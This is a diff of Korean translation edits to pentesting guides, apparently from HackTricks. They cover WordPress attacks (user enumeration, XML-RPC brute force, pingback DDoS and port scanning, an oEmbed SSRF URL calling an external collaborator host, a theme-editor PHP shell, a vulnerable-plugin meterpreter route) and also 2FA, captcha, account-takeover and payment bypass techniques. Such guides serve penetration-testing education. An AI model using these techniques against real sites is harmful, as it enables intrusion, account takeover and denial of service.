쿼리하여 얻으려고 할 수도 있습니다: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **자격 증명 무차별 대입** -**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 방법 중 일부입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다: +**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 방법 중 일부입니다. 이 중 하나라도 찾을 수 있다면 다음과 같은 것을 보낼 수 있습니다: ```markup wp.getUsersBlogs @@ -134,7 +134,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` 200 코드 응답 내의 메시지 _"잘못된 사용자 이름 또는 비밀번호"_는 자격 증명이 유효하지 않을 경우 나타나야 합니다. -![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) +![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) @@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -또한 **`system.multicall`**을 사용하여 자격 증명을 무차별 대입하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다: +또한 **`system.multicall`**을 사용하여 자격 증명을 브루트 포스하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
**2FA 우회** -이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 것이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있습니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. +이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 것이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. **DDoS 또는 포트 스캐닝** -목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로든 보낼 수 있습니다.\ -이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트든 지정할 수 있습니다). +목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\ +이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접속**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다). ```markup pingback.ping @@ -217,7 +217,7 @@ Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적 ### /wp-json/oembed/1.0/proxy - SSRF -_try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ _and the Worpress site may make a request to you._ +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해 보세요. 그러면 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다. 작동하지 않을 때의 응답은 다음과 같습니다: @@ -227,7 +227,7 @@ _try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vj {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} -이 도구는 **methodName: pingback.ping** 및 경로 **/wp-json/oembed/1.0/proxy**가 존재하는지 확인하고, 존재할 경우 이를 악용하려고 시도합니다. +이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 존재하는지 확인하고, 존재할 경우 이를 악용하려고 시도합니다. ## Automatic Tools ```bash @@ -237,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## 비트를 덮어써서 접근하기 -실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. +실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 워드프레스 파일의 비트 하나를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -246,13 +246,13 @@ return new WP_Error( **사용 중인 테마의 php 수정 (관리자 자격 증명 필요)** -외관 → 테마 편집기 → 404 템플릿 (오른쪽에서) +모양 → 테마 편집기 → 404 템플릿 (오른쪽에서) php 셸을 위한 내용을 변경합니다: ![](<../../images/image (384).png>) -업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색합니다. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -293,7 +293,7 @@ to get a session. ### Uploading and activating malicious plugin -이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것입니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다: +이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하는 것을 포함하며, 이를 통해 웹 셸을 얻을 수 있습니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다: 1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처에서 얻습니다 [**여기**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: @@ -301,8 +301,8 @@ to get a session. - 다운로드한 플러그인의 zip 파일을 업로드합니다. 3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다. 4. **Exploitation**: -- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약한 것으로 알려져 있어 악용할 수 있습니다. -- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하여 meterpreter 세션을 설정하여 사이트에 대한 무단 액세스를 부여할 수 있습니다. +- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용될 수 있습니다. +- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다. - 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다. 내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다. @@ -332,25 +332,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### 공격 표면 -Wordpress 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 게시물**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다. +Wordpress 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다. - **`wp_ajax`** 플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 종종 인증 및 권한 부여가 Wordpress nonce의 존재에 기반하고 있으며, **Wordpress 인스턴스에 인증된 모든 사용자가 이를 가질 수 있습니다** (역할에 관계없이). -이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다: +다음은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있게 만듭니다.** +**`nopriv`의 사용은 모든 사용자(인증되지 않은 사용자 포함)가 엔드포인트에 접근할 수 있게 만듭니다.** > [!CAUTION] > 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. - **REST API** -`register_rest_route` 함수를 사용하여 wordpress에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다: +`register_rest_route` 함수를 사용하여 wordpress에서 함수를 노출하는 것도 가능합니다: ```php register_rest_route( $this->namespace, '/get/', array( @@ -360,11 +360,11 @@ $this->namespace, '/get/', array( ) ); ``` -`permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 콜백 함수입니다. +`permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 함수에 대한 콜백입니다. **내장된 `__return_true` 함수가 사용되면, 사용자 권한 확인을 단순히 건너뜁니다.** -- **php 파일에 직접 접근** +- **php 파일에 대한 직접 접근** 물론, WordPress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다. @@ -372,7 +372,7 @@ $this->namespace, '/get/', array( ### 정기 업데이트 -WordPress, 플러그인 및 테마가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요: +WordPress, 플러그인 및 테마가 최신 상태인지 확인하십시오. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하십시오: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md index e3246cee8..a68a4b3fe 100644 --- a/src/pentesting-web/2fa-bypass.md +++ b/src/pentesting-web/2fa-bypass.md @@ -22,7 +22,7 @@ ### **검증 링크 악용** -**계정 생성 시 전송된 이메일 검증 링크**를 사용하면 2FA 없이 프로필에 접근할 수 있습니다. 자세한 내용은 [포스트](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)에서 확인할 수 있습니다. +**계정 생성 시 전송된 이메일 검증 링크**를 사용하면 2FA 없이 프로필에 접근할 수 있습니다. 이는 자세한 [게시물](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)에서 강조되었습니다. ### **세션 조작** @@ -34,15 +34,15 @@ ### **OAuth 플랫폼 손상** -신뢰할 수 있는 **OAuth** 플랫폼(예: Google, Facebook)에서 사용자의 계정을 손상시키면 2FA를 우회할 수 있는 경로가 제공됩니다. +신뢰할 수 있는 **OAuth** 플랫폼(예: Google, Facebook)에서 사용자의 계정을 손상시키면 2FA를 우회할 수 있는 경로를 제공할 수 있습니다. ### **무차별 대입 공격** -#### **비율 제한 없음** +#### **비율 제한 부재** 코드 시도 횟수에 대한 제한이 없으면 무차별 대입 공격이 가능하지만, 잠재적인 조용한 비율 제한을 고려해야 합니다. -비율 제한이 설정되어 있더라도 유효한 OTP가 전송될 때 응답이 다른지 확인해야 합니다. [**이 포스트**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)에서 버그 헌터는 20번의 실패한 시도 후 401로 응답하더라도 유효한 것이 전송되면 200 응답을 받았음을 발견했습니다. +비율 제한이 설정되어 있더라도 유효한 OTP가 전송될 때 응답이 다른지 확인해야 합니다. [**이 게시물**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)에서 버그 헌터는 20번의 실패한 시도 후 비율 제한이 발생하더라도 유효한 OTP가 전송되면 200 응답을 받았음을 발견했습니다. #### **느린 무차별 대입** @@ -56,13 +56,13 @@ 클라이언트 측 비율 제한을 우회하는 기술에 대한 문서가 있습니다. -#### **내부 작업의 비율 제한 없음** +#### **내부 작업의 비율 제한 부재** 비율 제한은 로그인 시도를 보호할 수 있지만 내부 계정 작업에는 적용되지 않을 수 있습니다. #### **SMS 코드 재전송 비용** -SMS를 통해 코드를 과도하게 재전송하면 회사에 비용이 발생하지만 2FA를 우회하지는 않습니다. +SMS를 통해 코드를 과도하게 재전송하면 회사에 비용이 발생하지만, 2FA를 우회하지는 않습니다. #### **무한 OTP 재생성** @@ -70,11 +70,11 @@ SMS를 통해 코드를 과도하게 재전송하면 회사에 비용이 발생 ### **경쟁 조건 악용** -2FA 우회를 위한 경쟁 조건 악용에 대한 정보는 특정 문서에서 찾을 수 있습니다. +2FA 우회를 위한 경쟁 조건 악용은 특정 문서에서 찾을 수 있습니다. ### **CSRF/클릭재킹 취약점** -CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것은 실행 가능한 전략입니다. +CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것은 유효한 전략입니다. ### **"기억하기" 기능 악용** @@ -100,9 +100,9 @@ CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것 2FA 활성화 시 기존 세션을 종료하면 손상된 세션으로부터의 무단 접근으로부터 계정을 보호합니다. -### **백업 코드와 관련된 접근 제어 결함** +### **백업 코드와의 접근 제어 결함** -2FA 활성화 시 백업 코드의 즉각적인 생성 및 잠재적인 무단 검색은 CORS 잘못 구성/XSS 취약점과 함께 위험을 초래합니다. +2FA 활성화 시 즉시 생성되고 무단으로 검색될 수 있는 백업 코드는 CORS 잘못 구성/XSS 취약점과 함께 위험을 초래합니다. ### **2FA 페이지의 정보 노출** @@ -114,7 +114,7 @@ CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것 ### **미끼 요청** -무차별 대입 시도를 숨기거나 비율 제한 메커니즘을 오도하기 위해 미끼 요청을 활용하는 것은 우회 전략에 또 다른 레이어를 추가합니다. 이러한 요청을 작성하려면 애플리케이션의 보안 조치 및 비율 제한 행동에 대한 미세한 이해가 필요합니다. +무차별 대입 시도를 숨기거나 비율 제한 메커니즘을 오도하기 위해 미끼 요청을 활용하는 것은 우회 전략에 또 다른 레이어를 추가합니다. 이러한 요청을 작성하려면 애플리케이션의 보안 조치 및 비율 제한 동작에 대한 미세한 이해가 필요합니다. ### OTP 구성 오류 diff --git a/src/pentesting-web/abusing-hop-by-hop-headers.md b/src/pentesting-web/abusing-hop-by-hop-headers.md index b1b2c2ce0..b7e1b6abe 100644 --- a/src/pentesting-web/abusing-hop-by-hop-headers.md +++ b/src/pentesting-web/abusing-hop-by-hop-headers.md @@ -6,7 +6,7 @@ **이 글의 요약입니다** [**https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers**](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) -Hop-by-hop 헤더는 단일 전송 수준 연결에 특정하며, 주로 HTTP/1.1에서 두 노드(클라이언트-프록시 또는 프록시-프록시) 간의 데이터 관리를 위해 사용되며, 전달될 의도가 아닙니다. 표준 hop-by-hop 헤더에는 `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, `Proxy-Authenticate`가 포함되며, 이는 [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)에서 정의됩니다. 추가 헤더는 `Connection` 헤더를 통해 hop-by-hop으로 지정될 수 있습니다. +Hop-by-hop 헤더는 단일 전송 수준 연결에 특정하며, 주로 HTTP/1.1에서 두 노드(클라이언트-프록시 또는 프록시-프록시) 간의 데이터 관리를 위해 사용되며, 전달될 의도가 없습니다. 표준 hop-by-hop 헤더에는 `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization`, `Proxy-Authenticate`가 포함되며, 이는 [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1)에서 정의됩니다. 추가 헤더는 `Connection` 헤더를 통해 hop-by-hop으로 지정될 수 있습니다. ### Hop-by-Hop 헤더 악용 @@ -16,7 +16,7 @@ Hop-by-hop 헤더는 단일 전송 수준 연결에 특정하며, 주로 HTTP/1. 특정 헤더가 hop-by-hop으로 표시될 때 서버 응답의 변화를 관찰하여 hop-by-hop 헤더의 처리를 테스트할 수 있습니다. 도구와 스크립트를 사용하여 이 과정을 자동화하고, 프록시가 이러한 헤더를 어떻게 관리하는지 식별하며, 잘못된 구성이나 프록시 동작을 발견할 수 있습니다. -Hop-by-hop 헤더를 악용하면 다양한 보안 문제를 초래할 수 있습니다. 아래는 이러한 헤더가 잠재적인 공격을 위해 어떻게 조작될 수 있는지를 보여주는 몇 가지 예입니다: +Hop-by-hop 헤더를 악용하면 다양한 보안 문제가 발생할 수 있습니다. 아래는 이러한 헤더가 잠재적인 공격을 위해 어떻게 조작될 수 있는지를 보여주는 몇 가지 예입니다: ### `X-Forwarded-For`로 보안 제어 우회 @@ -31,12 +31,12 @@ Hop-by-hop 헤더를 악용하면 다양한 보안 문제를 초래할 수 있 ### Hop-by-Hop 헤더 주입을 통한 캐시 오염 -캐시 서버가 hop-by-hop 헤더를 기반으로 콘텐츠를 잘못 캐시하면, 공격자는 악성 헤더를 주입하여 캐시를 오염시킬 수 있습니다. 이는 동일한 리소스를 요청하는 사용자에게 잘못된 또는 악성 콘텐츠를 제공하게 됩니다. +캐시 서버가 hop-by-hop 헤더를 기반으로 콘텐츠를 잘못 캐시하면, 공격자는 악성 헤더를 주입하여 캐시를 오염시킬 수 있습니다. 이는 동일한 리소스를 요청하는 사용자에게 잘못되거나 악성 콘텐츠를 제공하게 됩니다. **공격 시나리오:** 1. 공격자는 캐시되지 않아야 하는 hop-by-hop 헤더(예: `Connection: close, Cookie`)를 포함하여 웹 애플리케이션에 요청을 보냅니다. 2. 잘못 구성된 캐시 서버는 hop-by-hop 헤더를 제거하지 않고 공격자의 세션에 특정한 응답을 캐시합니다. -3. 동일한 리소스를 요청하는 미래의 사용자들은 공격자를 위해 맞춤화된 캐시된 응답을 받게 되어, 세션 탈취 또는 민감한 정보 노출로 이어질 수 있습니다. +3. 동일한 리소스를 요청하는 미래의 사용자들은 공격자를 위해 맞춤화된 캐시된 응답을 받게 되어, 세션 하이재킹이나 민감한 정보 노출로 이어질 수 있습니다. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index 9bf7e6bf5..7e7ba0097 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -4,7 +4,7 @@ ## **권한 문제** -계정의 이메일을 변경하려고 시도해야 하며, 확인 프로세스는 **검토되어야 합니다**. 만약 **약한** 것으로 발견되면, 이메일을 의도된 피해자의 이메일로 변경하고 확인해야 합니다. +계정의 이메일을 변경하려고 시도해야 하며, 확인 프로세스는 **검토되어야** 합니다. 만약 **약한** 것으로 발견되면, 이메일을 의도된 피해자의 이메일로 변경한 후 확인해야 합니다. ## **유니코드 정규화 문제** @@ -16,7 +16,7 @@ - 피해자와 유사한 이메일을 가진 제3자 신원에서 계정을 생성합니다(예: `vićtim@company.com`). - 제3자 제공자는 이메일을 확인하지 않아야 합니다. -- 만약 신원 제공자가 이메일을 확인한다면, 도메인 부분을 공격할 수 있습니다(예: `victim@ćompany.com`) 그리고 해당 도메인을 등록하고 신원 제공자가 도메인의 아스키 버전을 생성할 것이라고 기대합니다. 피해자 플랫폼은 도메인 이름을 정규화합니다. +- 만약 신원 제공자가 이메일을 확인한다면, 도메인 부분을 공격할 수 있습니다. 예: `victim@ćompany.com`으로 해당 도메인을 등록하고, 신원 제공자가 도메인의 ASCII 버전을 생성할 것이라고 기대합니다. 피해자 플랫폼은 도메인 이름을 정규화합니다. - 피해자 플랫폼에서 이 신원 제공자를 통해 로그인하면, 유니코드 문자가 정규화되어 피해자 계정에 접근할 수 있습니다. 자세한 내용은 유니코드 정규화 문서를 참조하십시오: @@ -37,7 +37,7 @@ unicode-injection/unicode-normalization.md ## **CORS 잘못 구성으로 인한 계정 탈취** -페이지에 **CORS 잘못 구성**이 포함되어 있다면, 사용자의 **민감한 정보를 훔쳐서 그의 계정을 탈취**하거나 같은 목적을 위해 인증 정보를 변경하도록 할 수 있습니다: +페이지에 **CORS 잘못 구성**이 포함되어 있다면, 사용자의 **민감한 정보를 훔쳐서 그의 계정을 탈취**하거나 같은 목적으로 인증 정보를 변경하도록 할 수 있습니다: {{#ref}} cors-bypass.md @@ -53,7 +53,7 @@ csrf-cross-site-request-forgery.md ## **XSS를 통한 계정 탈취** -애플리케이션에서 XSS를 발견하면, 쿠키, 로컬 스토리지 또는 웹 페이지의 정보를 훔쳐서 계정을 탈취할 수 있습니다: +애플리케이션에서 XSS를 발견하면, 쿠키, 로컬 스토리지 또는 웹 페이지의 정보를 훔쳐 계정을 탈취할 수 있습니다: {{#ref}} xss-cross-site-scripting/ @@ -75,7 +75,7 @@ reset-password.md ## **응답 조작** -인증 응답을 **단순한 불리언으로 줄일 수 있다면, false를 true로 변경해 보십시오** 그리고 접근할 수 있는지 확인하십시오. +인증 응답을 **단순한 불리언으로 줄일 수 있다면, false를 true로 변경해 보십시오**. 그러면 접근할 수 있는지 확인하십시오. ## OAuth를 통한 계정 탈취 @@ -113,8 +113,8 @@ oauth-to-account-takeover.md ### 오래된 쿠키 -[**이 게시물**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9)에서 설명된 바와 같이, 계정에 로그인하고 인증된 사용자로서 쿠키를 저장한 후 로그아웃하고 다시 로그인하는 것이 가능했습니다.\ -새로운 로그인으로 인해 다른 쿠키가 생성될 수 있지만, 이전 쿠키가 다시 작동하기 시작했습니다. +[**이 게시물**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9)에서 설명된 바와 같이, 계정에 로그인하고 인증된 사용자로서 쿠키를 저장한 후 로그아웃하고 다시 로그인할 수 있었습니다.\ +새로운 로그인으로 인해 다른 쿠키가 생성될 수 있지만, 이전 쿠키가 다시 작동하게 되었습니다. ## 참고 문헌 diff --git a/src/pentesting-web/bypass-payment-process.md b/src/pentesting-web/bypass-payment-process.md index 79e7e4fc1..c0d95c44e 100644 --- a/src/pentesting-web/bypass-payment-process.md +++ b/src/pentesting-web/bypass-payment-process.md @@ -6,7 +6,7 @@ ### 요청 가로채기 -거래 과정에서 클라이언트와 서버 간에 교환되는 데이터를 모니터링하는 것이 중요합니다. 이는 모든 요청을 가로채는 방식으로 수행할 수 있습니다. 이러한 요청 내에서 중요한 의미를 가지는 매개변수를 주의 깊게 살펴보세요: +거래 과정에서 클라이언트와 서버 간에 교환되는 데이터를 모니터링하는 것이 중요합니다. 이는 모든 요청을 가로채는 방식으로 수행할 수 있습니다. 이러한 요청 내에서 중요한 의미를 갖는 매개변수를 주의 깊게 살펴보세요: - **성공**: 이 매개변수는 종종 거래의 상태를 나타냅니다. - **참조자**: 요청이 발생한 출처를 가리킬 수 있습니다. diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 903263ab2..7c8253fc1 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -20,7 +20,7 @@ - 이미지에서 문자를 읽어야 하는 캡차의 경우, 수동 또는 프로그래밍 방식으로 고유한 이미지의 총 수를 결정합니다. 세트가 제한적이라면 각 이미지를 MD5 해시로 식별할 수 있습니다. - [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)와 같은 광학 문자 인식(OCR) 도구를 사용하여 이미지에서 문자를 자동으로 읽습니다. 4. **추가 기술**: -- **비율 제한 테스트**: 애플리케이션이 주어진 시간 내에 시도 또는 제출 횟수를 제한하는지 확인하고, 이 제한을 우회하거나 재설정할 수 있는지 확인합니다. +- **비율 제한 테스트**: 애플리케이션이 주어진 시간 내에 시도 또는 제출 횟수를 제한하는지, 이 제한을 우회하거나 재설정할 수 있는지 확인합니다. - **타사 서비스**: 자동 캡차 인식 및 해결을 제공하는 캡차 해결 서비스 또는 API를 사용합니다. - **세션 및 IP 회전**: 서버에 의해 감지 및 차단되는 것을 피하기 위해 세션 ID와 IP 주소를 자주 변경합니다. - **User-Agent 및 헤더 조작**: User-Agent 및 기타 요청 헤더를 변경하여 다양한 브라우저나 장치를 모방합니다. @@ -30,7 +30,7 @@ ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)는 다양한 유형의 캡차를 자동으로 해결하는 데 특화된 AI 기반 서비스로, 웹 스크래핑 중 발생하는 캡차 문제를 쉽게 극복할 수 있도록 개발자를 지원합니다. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, Cloudflare 턴스타일 등**의 캡차를 지원합니다. 개발자를 위해 Capsolver는 [**문서**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,**에서 자세히 설명된 API 통합 옵션을 제공하여 애플리케이션에 캡차 해결 기능을 통합할 수 있도록 합니다. 또한 [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) 및 [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)용 브라우저 확장 프로그램을 제공하여 브라우저 내에서 직접 서비스를 쉽게 사용할 수 있도록 합니다. 다양한 요구를 수용할 수 있는 다양한 가격 패키지가 제공되어 사용자에게 유연성을 보장합니다. +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)는 다양한 유형의 캡차를 자동으로 해결하는 AI 기반 서비스로, 웹 스크래핑 중 발생하는 캡차 문제를 쉽게 극복할 수 있도록 개발자를 지원합니다. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, Cloudflare 턴스타일 등**의 캡차를 지원합니다. 개발자를 위해 Capsolver는 [**문서**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,**에서 자세히 설명된 API 통합 옵션을 제공합니다. 또한 [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) 및 [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)용 브라우저 확장 프로그램을 제공하여 브라우저 내에서 직접 서비스를 쉽게 사용할 수 있습니다. 다양한 요구를 수용할 수 있는 다양한 가격 패키지가 제공되어 사용자에게 유연성을 보장합니다. {% embed 